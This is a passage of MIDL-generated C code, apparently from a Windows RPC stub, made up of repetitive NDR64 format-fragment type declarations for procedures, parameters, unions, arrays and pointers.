struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n    } frag2;\n}\n__midl_frag901_t;\nextern const __midl_frag901_t __midl_frag901;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag900_t;\nextern const __midl_frag900_t __midl_frag900;\n\ntypedef \nstruct \n{\n    struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag899_t;\nextern const __midl_frag899_t __midl_frag899;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag898_t;\nextern const __midl_frag898_t __midl_frag898;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag897_t;\nextern const __midl_frag897_t __midl_frag897;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n    struct _NDR64_EXPR_CONST64 frag4;\n}\n__midl_frag896_t;\nextern const __midl_frag896_t __midl_frag896;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag895_t;\nextern const __midl_frag895_t __midl_frag895;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag894_t;\nextern const __midl_frag894_t __midl_frag894;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n    struct _NDR64_EXPR_CONST64 frag4;\n}\n__midl_frag893_t;\nextern const __midl_frag893_t __midl_frag893;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    NDR64_UINT32 frag8;\n}\n__midl_frag892_t;\nextern const __midl_frag892_t __midl_frag892;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_REGION_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag891_t;\nextern const __midl_frag891_t __midl_frag891;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag889_t;\nextern const __midl_frag889_t __midl_frag889;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag888_t;\nextern const __midl_frag888_t __midl_frag888;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag887_t;\nextern const __midl_frag887_t __midl_frag887;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag886_t;\nextern const __midl_frag886_t __midl_frag886;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag885_t;\nextern const __midl_frag885_t __midl_frag885;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag884_t;\nextern const __midl_frag884_t __midl_frag884;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag883_t;\nextern const __midl_frag883_t __midl_frag883;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag882_t;\nextern const __midl_frag882_t __midl_frag882;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag878_t;\nextern const __midl_frag878_t __midl_frag878;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    struct _NDR64_UNION_ARM frag9;\n    struct _NDR64_UNION_ARM frag10;\n    struct _NDR64_UNION_ARM frag11;\n    NDR64_UINT32 frag12;\n}\n__midl_frag877_t;\nextern const __midl_frag877_t __midl_frag877;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag875_t;\nextern const __midl_frag875_t __midl_frag875;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag874_t;\nextern const __midl_frag874_t __midl_frag874;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag873_t;\nextern const __midl_frag873_t __midl_frag873;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag872_t;\nextern const __midl_frag872_t __midl_frag872;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag871_t;\nextern const __midl_frag871_t __midl_frag871;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag869_t;\nextern const __midl_frag869_t __midl_frag869;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag868_t;\nextern const __midl_frag868_t __midl_frag868;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag865_t;\nextern const __midl_frag865_t __midl_frag865;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag860_t;\nextern const __midl_frag860_t __midl_frag860;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag859_t;\nextern const __midl_frag859_t __midl_frag859;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag858_t;\nextern const __midl_frag858_t __midl_frag858;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag855_t;\nextern const __midl_frag855_t __midl_frag855;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag849_t;\nextern const __midl_frag849_t __midl_frag849;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag839_t;\nextern const __midl_frag839_t __midl_frag839;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag831_t;\nextern const __midl_frag831_t __midl_frag831;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag830_t;\nextern const __midl_frag830_t __midl_frag830;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag829_t;\nextern const __midl_frag829_t __midl_frag829;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag823_t;\nextern const __midl_frag823_t __midl_frag823;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag815_t;\nextern const __midl_frag815_t __midl_frag815;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        NDR64_FORMAT_CHAR frag10;\n    } frag2;\n}\n__midl_frag802_t;\nextern const __midl_frag802_t __midl_frag802;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag801_t;\nextern const __midl_frag801_t __midl_frag801;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag799_t;\nextern const __midl_frag799_t __midl_frag799;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag798_t;\nextern const __midl_frag798_t __midl_frag798;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag797_t;\nextern const __midl_frag797_t __midl_frag797;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    NDR64_UINT32 frag5;\n}\n__midl_frag796_t;\nextern const __midl_frag796_t __midl_frag796;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag795_t;\nextern const __midl_frag795_t __midl_frag795;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag794_t;\nextern const __midl_frag794_t __midl_frag794;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag791_t;\nextern const __midl_frag791_t __midl_frag791;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag789_t;\nextern const __midl_frag789_t __midl_frag789;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag784_t;\nextern const __midl_frag784_t __midl_frag784;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag780_t;\nextern const __midl_frag780_t __midl_frag780;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag777_t;\nextern const __midl_frag777_t __midl_frag777;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag776_t;\nextern const __midl_frag776_t __midl_frag776;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag775_t;\nextern const __midl_frag775_t __midl_frag775;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag774_t;\nextern const __midl_frag774_t __midl_frag774;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_MEMPAD_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag771_t;\nextern const __midl_frag771_t __midl_frag771;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag770_t;\nextern const __midl_frag770_t __midl_frag770;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag769_t;\nextern const __midl_frag769_t __midl_frag769;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_MEMPAD_FORMAT frag5;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n    } frag2;\n}\n__midl_frag767_t;\nextern const __midl_frag767_t __midl_frag767;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag766_t;\nextern const __midl_frag766_t __midl_frag766;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        NDR64_FORMAT_CHAR frag10;\n    } frag2;\n}\n__midl_frag762_t;\nextern const __midl_frag762_t __midl_frag762;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag761_t;\nextern const __midl_frag761_t __midl_frag761;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag759_t;\nextern const __midl_frag759_t __midl_frag759;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag758_t;\nextern const __midl_frag758_t __midl_frag758;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_CONST64 frag3;\n    struct _NDR64_EXPR_VAR frag4;\n}\n__midl_frag757_t;\nextern const __midl_frag757_t __midl_frag757;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    NDR64_UINT32 frag7;\n}\n__midl_frag756_t;\nextern const __midl_frag756_t __midl_frag756;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag755_t;\nextern const __midl_frag755_t __midl_frag755;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag751_t;\nextern const __midl_frag751_t __midl_frag751;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag743_t;\nextern const __midl_frag743_t __midl_frag743;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag742_t;\nextern const __midl_frag742_t __midl_frag742;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag741_t;\nextern const __midl_frag741_t __midl_frag741;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag737_t;\nextern const __midl_frag737_t __midl_frag737;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag728_t;\nextern const __midl_frag728_t __midl_frag728;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag727_t;\nextern const __midl_frag727_t __midl_frag727;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag723_t;\nextern const __midl_frag723_t __midl_frag723;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag720_t;\nextern const __midl_frag720_t __midl_frag720;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag716_t;\nextern const __midl_frag716_t __midl_frag716;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag715_t;\nextern const __midl_frag715_t __midl_frag715;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag709_t;\nextern const __midl_frag709_t __midl_frag709;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag693_t;\nextern const __midl_frag693_t __midl_frag693;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag673_t;\nextern const __midl_frag673_t __midl_frag673;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag665_t;\nextern const __midl_frag665_t __midl_frag665;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag651_t;\nextern const __midl_frag651_t __midl_frag651;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag635_t;\nextern const __midl_frag635_t __midl_frag635;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n    struct _NDR64_POINTER_FORMAT frag10;\n    struct _NDR64_POINTER_FORMAT frag11;\n    struct _NDR64_POINTER_FORMAT frag12;\n    struct _NDR64_POINTER_FORMAT frag13;\n    struct _NDR64_POINTER_FORMAT frag14;\n    struct _NDR64_POINTER_FORMAT frag15;\n    struct _NDR64_POINTER_FORMAT frag16;\n    struct _NDR64_POINTER_FORMAT frag17;\n    struct _NDR64_POINTER_FORMAT frag18;\n    struct _NDR64_POINTER_FORMAT frag19;\n}\n__midl_frag632_t;\nextern const __midl_frag632_t __midl_frag632;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag630_t;\nextern const __midl_frag630_t __midl_frag630;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag629_t;\nextern const __midl_frag629_t 